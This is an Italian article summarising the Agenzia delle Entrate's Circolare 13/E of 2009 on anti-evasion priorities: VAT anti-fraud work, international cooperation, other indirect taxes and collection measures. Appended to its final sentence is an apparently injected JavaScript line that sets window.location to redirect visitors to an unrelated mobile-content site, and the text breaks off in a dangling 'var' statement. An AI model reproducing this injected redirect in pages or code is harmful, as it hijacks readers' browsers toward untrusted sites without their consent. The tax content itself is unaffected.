La Circolare n. 13/E del 9 aprile 2009 ha fornito gli indirizzi operativi per lo sviluppo delle attività di prevenzione e contrasto all’evasione per l’anno 2009. Le indicazioni di intervento individuate nella circolare ministeriale consentono di comprendere in anticipo in quali settori l’Amministrazione finanziaria concentrerà le proprie attività di verifica. Oltre a specifiche attività di controllo, destinate alle diverse macro-tipologie di contribuenti, il documento di prassi in commento individua le attività trasversali che, per loro natura, non possono riferirsi a categorie di contribuenti, ma le riguardano tutte “trasversalmente”. Si tratta di attività in materia di antifrode, a proiezione internazionale, di controllo sui tributi indiretti diversi dall’Iva e in materia di riscossione considerate fondamentali per garantire la tutela della pretesa erariale e contrastare i fenomeni di indebita compensazione.
ATTIVITÀ IN MATERIA DI ANTIFRODE
Il contrasto al fenomeno delle frodi, soprattutto quelle in materia di Iva, risulta particolarmente avvertito sia a livello europeo che nazionale. Con l’articolo 83, co. da 5 a 7, del decreto legge 25 giugno 2008 n. 112, nel dettare misure di contrasto alle frodi in materia di Iva, il Legislatore ha richiesto, in materia, un incremento delle capacità operative di Agenzia delle Entrate, Agenzia delle Dogane e Guardia di Finanza.
Le misure individuate consistono nella riorganizzazione delle strutture operative, attraverso una concentrazione delle attività in ambito regionale, con la creazione dell’Ufficio centrale antifrode, e degli Uffici regionali antifrode, oltre che nell’incremento delle risorse da impiegare.
Le aree di intervento individuate per il 2009 consistono nell’acquisizione di una sempre più marcata conoscenza del territorio e dei settori a rischio, nello sviluppo degli spunti di indagine e nel completamento dei progetti avviati nel 2008. Una costante attenzione sarà dedicata ai fenomeni di frode nel settore del commercio di veicoli di provenienza intracomunitaria e nei settori che hanno ad oggetto i beni individuati con il D.M. 22 dicembre 2005 (autoveicoli, motoveicoli, rimorchi, prodotti di telefonia e loro accessori, personal computer, componenti ed accessori, animali vivi della specie bovina, ovina e suina e loro carni fresche). Inoltre, particolare attenzione verrà posta nel controllo dei fittizi trasferimenti di sede all’estero e nell’individuazione di compensazioni effettuate mediante l’utilizzo di crediti inesistenti.
ATTIVITÀ A PROIEZIONE INTERNAZIONALE
La prevenzione e il contrasto dell’evasione e dell’elusione vengono perseguiti anche a livello internazionale. Da un punto di vista organizzativo, ciò si realizza con l’istituzione – all’interno della Direzione Centrale Accertamento – del Settore Internazionale, che svolge le attività in precedenza effettuate dall’Ufficio Cooperazione Internazionale e dagli Uffici “Scambio di informazioni”, “Cooperazione operativa” e “Ruling internazionale”.
Il contrasto alle frodi a livello internazionale viene effettuato innanzitutto attraverso lo scambio di informazioni con le Amministrazioni estere, secondo le modalità a tal fine individuate dalla Direttiva 77/799/CEE del 19 dicembre 1977, relativa alla reciproca assistenza fra le autorità competenti degli Stati membri nel settore delle imposte dirette e di quelle sui premi assicurativi, e dal Regolamento CE 1798/2003 in ambito Iva.
Altre modalità di cooperazione consistono nella collaborazione di funzionari di più Stati membri dell’Unione europea, nell’effettuazione di controlli simultanei nonché nell’assistenza alla notifica di atti.
ALTRI TRIBUTI INDIRETTI DIVERSI DALL’IVA
L’articolo 7 del decreto-legge 10 febbraio 2009 n. 5, convertito con modificazioni in L. n. 3 del 9 aprile 2009, per rendere più proficua l’attività di controllo sulla sussistenza dei presupposti per la fruizione delle agevolazioni previste in materia di imposte di registro, ipotecaria e catastale e dell’imposta sulle successioni e donazioni, dispone l’effettuazione, oltre alla consueta attività di controllo formale degli atti e delle dichiarazioni relative a tali tributi indiretti diversi dall’Iva, di specifiche attività di accertamento nei confronti delle posizioni individuate in base a criteri selettivi da approvare con atto del direttore dell’Agenzia delle Entrate.
ATTIVITÀ IN MATERIA DI RISCOSSIONE
L’azione di prevenzione e contrasto dell’evasione deve esser assistita anche dalla tutela della pretesa erariale derivante dalla complessiva attività di controllo. Nel 2009, le strutture operative sono per questo chiamate a concludere, in tempi rapidi, tutte le attività di loro competenza in tale ambito, procedendo alla immediata iscrizione a ruolo a seguito della definitività degli atti di accertamento e all’iscrizione a ruolo a titolo provvisorio in base ad accertamenti non definitivi e alla verifica della eventuale sussistenza dei presupposti che impongono il ricorso a ruoli straordinari. Con la medesima finalità di tutela della pretesa erariale, gli Uffici utilizzeranno, con sempre maggiore frequenza, le misure cautelari della ipoteca e del sequestro conservativo, di cui all’articolo 22 del decreto legislativo n. 472 del 1997, con la possibilità di utilizzare tali strumenti, non solo per le somme dovute a titolo di sanzione, ma anche con riguardo alle somme dovute per il pagamento dei tributi e dei relativi interessi.window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; var 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